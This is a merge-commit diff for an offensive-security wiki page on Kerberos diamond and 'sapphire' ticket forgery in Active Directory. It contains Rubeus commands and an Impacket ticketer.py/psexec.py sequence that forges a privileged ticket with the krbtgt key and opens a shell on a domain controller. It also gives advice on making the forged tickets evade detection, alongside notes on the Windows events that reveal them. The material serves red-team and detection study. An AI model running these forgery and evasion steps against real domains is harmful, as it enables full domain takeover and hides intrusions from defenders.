Merge pull request #1903 from HackTricks-wiki/research_update_src_windows-hardening_active-directory-methodology_diamond-ticket_20260217_023924

Research Update Enhanced src/windows-hardening/active-direct...

Author: carlospolop

src/windows-hardening/active-directory-methodology/diamond-ticket.md

@@ -37,7 +37,7 @@ Recent work by Huntress modernized the `diamond` action inside Rubeus by porting
 Get-DomainUser -Identity <username> -Properties objectsid | Select-Object samaccountname,objectsid
 
 # Craft a high-fidelity diamond TGT and inject it
-.\Rubeus.exe diamond /tgtdeleg \
+./Rubeus.exe diamond /tgtdeleg \
   /ticketuser:svc_sql /ticketuserid:1109 \
   /groups:512,519 \
   /krbkey:<KRBTGT_AES256_KEY> \
@@ -54,7 +54,7 @@ Get-DomainUser -Identity <username> -Properties objectsid | Select-Object samacc
 The same Rubeus refresh added the ability to apply the diamond technique to TGS blobs. By feeding `diamond` a **base64-encoded TGT** (from `asktgt`, `/tgtdeleg`, or a previously forged TGT), the **service SPN**, and the **service AES key**, you can mint realistic service tickets without touching the KDC—effectively a stealthier silver ticket.
 
 ```powershell
-.\Rubeus.exe diamond \
+./Rubeus.exe diamond \
   /ticket:<BASE64_TGT_OR_KRB-CRED> \
   /service:cifs/dc01.lab.local \
   /servicekey:<AES256_SERVICE_KEY> \
@@ -64,15 +64,41 @@ The same Rubeus refresh added the ability to apply the diamond technique to TGS
 
 This workflow is ideal when you already control a service account key (e.g., dumped with `lsadump::lsa /inject` or `secretsdump.py`) and want to cut a one-off TGS that perfectly matches AD policy, timelines, and PAC data without issuing any new AS/TGS traffic.
 
+### Sapphire-style PAC swaps (2025)
+
+A newer twist sometimes called a **sapphire ticket** combines Diamond's "real TGT" base with **S4U2self+U2U** to steal a privileged PAC and drop it into your own TGT. Instead of inventing extra SIDs, you request a U2U S4U2self ticket for a high-privilege user, extract that PAC, and splice it into your legitimate TGT before re-signing with the krbtgt key. Because U2U sets `ENC-TKT-IN-SKEY`, the resulting wire flow looks like a legitimate user-to-user exchange.
+
+Minimal Linux-side reproduction with Impacket's patched `ticketer.py` (adds sapphire support):
+
+```bash
+python3 ticketer.py -request -impersonate 'DAuser' \
+  -domain 'lab.local' -user 'lowpriv' -password 'Passw0rd!' \
+  -aesKey '<krbtgt_aes256>' -domain-sid 'S-1-5-21-111-222-333' \
+  --u2u --s4u2self
+# inject resulting .ccache
+export KRB5CCNAME=lowpriv.ccache
+python3 psexec.py lab.local/DAuser@dc.lab.local -k -no-pass
+```
+
+Key OPSEC tells when using this variant:
+
+- TGS-REQ will carry `ENC-TKT-IN-SKEY` and `additional-tickets` (the victim TGT) — rare in normal traffic.
+- `sname` often equals the requesting user (self-service access) and Event ID 4769 shows the caller and target as the same SPN/user.
+- Expect paired 4768/4769 entries with the same client computer but different CNAMES (low-priv requester vs. privileged PAC owner).
+
 ### OPSEC & detection notes
 
 - The traditional hunter heuristics (TGS without AS, decade-long lifetimes) still apply to golden tickets, but diamond tickets mainly surface when the **PAC content or group mapping looks impossible**. Populate every PAC field (logon hours, user profile paths, device IDs) so automated comparisons do not immediately flag the forgery.
 - **Do not oversubscribe groups/RIDs**. If you only need `512` (Domain Admins) and `519` (Enterprise Admins), stop there and make sure the target account plausibly belongs to those groups elsewhere in AD. Excessive `ExtraSids` is a giveaway.
+- Sapphire-style swaps leave U2U fingerprints: `ENC-TKT-IN-SKEY` + `additional-tickets` + `sname == cname` in 4769, and a follow-up 4624 logon sourced from the forged ticket. Correlate those fields instead of only looking for no-AS-REQ gaps.
+- Microsoft started phasing out **RC4 service ticket issuance** because of CVE-2026-20833; enforcing AES-only etypes on the KDC both hardens the domain and aligns with diamond/sapphire tooling (/opsec already forces AES). Mixing RC4 into forged PACs will increasingly stick out.
 - Splunk's Security Content project distributes attack-range telemetry for diamond tickets plus detections such as *Windows Domain Admin Impersonation Indicator*, which correlates unusual Event ID 4768/4769/4624 sequences and PAC group changes. Replaying that dataset (or generating your own with the commands above) helps validate SOC coverage for T1558.001 while giving you concrete alert logic to evade.
 
 ## References
 
 - [Huntress – Recutting the Kerberos Diamond Ticket (2025)](https://www.huntress.com/blog/recutting-the-kerberos-diamond-ticket)
 - [Splunk Security Content – Diamond Ticket attack data & detections (2023)](https://research.splunk.com/attack_data/be469518-9d2d-4ebb-b839-12683cd18a7c/)
+- [Хабр – Теневая сторона драгоценностей: Diamond & Sapphire Ticket (2025)](https://habr.com/ru/articles/891620/)
+- [Microsoft – RC4 service ticket enforcement for CVE-2026-20833](https://support.microsoft.com/en-us/topic/how-to-manage-kerberos-kdc-usage-of-rc4-for-service-account-ticket-issuance-changes-related-to-cve-2026-20833-1ebcda33-720a-4da8-93c1-b0496e1910dc)
 
 {{#include ../../banners/hacktricks-training.md}}